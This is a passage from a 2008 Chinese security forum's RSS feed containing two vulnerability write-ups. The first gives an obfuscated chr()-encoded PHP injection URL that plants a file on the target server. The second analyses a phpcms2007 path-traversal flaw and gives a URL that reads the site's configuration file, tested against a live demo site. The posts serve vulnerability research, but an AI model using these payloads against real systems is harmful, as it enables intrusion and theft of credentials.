($datadir默认为/data/,建议用这程序的管理员把这个默认值和文</p><p>件夹改名,呵呵) </p><br /><p>刚经群里的朋友提示,发现这段代码并没有错误复制内容到剪贴板代码:<br />foreach($_POST as $_key=&gt;$_value){<br />&nbsp; &nbsp; &nbsp; &nbsp; $_POST[$_key]=str_replace(array(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),array</p><p>(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),$_POST[$_key]);<br />&nbsp; &nbsp; &nbsp; &nbsp; !ereg(&quot;^\_&quot;,$_key) &amp;&amp; !$$_key &amp;&amp; $$_key=$_POST[$_key];<br />}<br />foreach($_GET as $_key=&gt;$_value){<br />&nbsp; &nbsp; &nbsp; &nbsp; $_GET[$_key]=str_replace(array(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),array</p><p>(&#039;|&#039;,&#039;$&#039;,&#039;..&#039;),$_GET[$_key]);<br />&nbsp; &nbsp; &nbsp; &nbsp; !ereg(&quot;^\_&quot;,$_key) &amp;&amp; !$$_key &amp;&amp; $$_key=$_GET[$_key];<br />}呵呵..虽然我在本地本地测试的时候确实没替换.<br />现在修改哈Ryat提供的邪恶的shellcode..嘿嘿<br />hxxp://www.xxx.com/error.php?errid=1&amp;errtitle=&lt;?fputs(fopen(chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59).chr(63).chr(62));?&gt;<br />这样你在访问一次hxxp://www.xxx.com/data/error.php后将得到hxxp://www.xxx.com/data/wolvez.php的测试文件<br />内容为&lt;?phpinfo():?&gt;lol</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Wed, 22 Oct 2008 16:54:32 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/14/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[一次简单的php源代码泄露漏洞发掘]]></title>
			<link>http://bbs.wolvez.org/topic/13/new/posts/</link>
			<description><![CDATA[<p>我们知道在asp中出现得最多的还是sql注入，不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义，所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣，我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿</p><p>这次我发掘的是phpcms2007的源代码泄露漏洞</p><p>再次向Phpcms2007的开源行为致敬！！</p><p>开始吧，</p><p>findstr /s /n /i readfile *.php &gt;readfile.txt (结果我只给出有用的)</p><p>其他的文件操作函数可以自己定义查找</p><p>module\picture\show_pic.inc.php:8:readfile($file);</p><p>跟进这个文件看看吧，呵呵，比较小，我喜欢复制内容到剪贴板代码:<br />&lt;?php <br />defined(&#039;IN_PHPCMS&#039;) or exit(&#039;Access Denied&#039;);<br />require PHPCMS_ROOT.&#039;/module/&#039;.$mod.&#039;/include/common.inc.php&#039;;<br />isset($src) or exit;<br />$file = PHPCMS_ROOT.&#039;/&#039;.$PHPCMS[&#039;uploaddir&#039;].&#039;/&#039;.$CHA[&#039;channeldir&#039;].&#039;/&#039;.$MOD[&#039;upload_dir&#039;].&#039;/&#039;.$src;<br />if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.&#039;/images/error.jpg&#039;;<br />header(&quot;Content-type:image/pjpeg&quot;);<br />readfile($file);<br />?&gt;一路分析下。。。</p><p>先包含文件/module/&#039;.$mod.&#039;/include/common.inc.php</p><p>如果存在变量$src则赋予它路径并把值交给变量$file</p><p>然后就是就进入if</p><p>这里我不看其他的文件简单猜测下应该是判断url路径来源，也就是防盗链的功能</p><p>然后就header()一个图片头</p><p>呵呵，轻轻松松就readfile($file);</p><p>可以看出它没有判断$src的文件类型，如果我们提交一个src=*.php也会被readfile</p><p>好吧，在这里漏洞是出现了</p><p>不过由于“defined(&#039;IN_PHPCMS&#039;) or exit(&#039;Access Denied&#039;);”，所以我们是无法直接利用这个漏洞文件的</p><p>只能是在其他包含这个文件的php文件中利用</p><p>继续吧</p><p>findstr /s /i /n show_pic.inc.php *.php &gt;show_pic.inc.php.txt</p><p>picture\show_pic.php:4:require PHPCMS_ROOT.&quot;/module/&quot;.$mod.&quot;/show_pic.inc.php&quot;;</p><p>进去看看复制内容到剪贴板代码:<br />&lt;?php <br />require &quot;./config.inc.php&quot;;<br />require &quot;../include/common.inc.php&quot;;<br />require PHPCMS_ROOT.&quot;/module/&quot;.$mod.&quot;/show_pic.inc.php&quot;;<br />?&gt;呵呵，要是register_globals为on的话就可以直接利用这个文件读取目标文件了</p><br /><p>那就测试吧</p><p>官方是演示站是http://demo.phpcms.cn/</p><p>那就这样构造url</p><p>/picture/show_pic.php?src=/../../../config.inc.php</p><p>嘿嘿，读取的就是网站的配置文件</p><p>直接访问http://demo.phpcms.cn//picture/s ... ./../config.inc.php</p><p>&nbsp; &nbsp;1.jpg (40.18 KB)</p><p>2007-10-11 11:33</p><p>呵呵，猜测没错！！</p><p>那我们可以先访问http://demo.phpcms.cn/抓包</p><p>用nc发包</p><p>get选项就设置为/picture/show_pic.php?src=/../../../config.inc.php</p><p>这里我就用刺猬的一个post提交工具代替了</p><p>测试结果如图</p><p>&nbsp; &nbsp;2.jpg (43.62 KB)</p><p>2007-10-11 11:33</p><p>ok，就分析到这里了</p><p>希望大家不要利用这个做违法的事，嘿嘿！！</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Wed, 22 Oct 2008 16:51:28 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/13/new/posts/</guid>
		</item>
	</channel>
</rss>
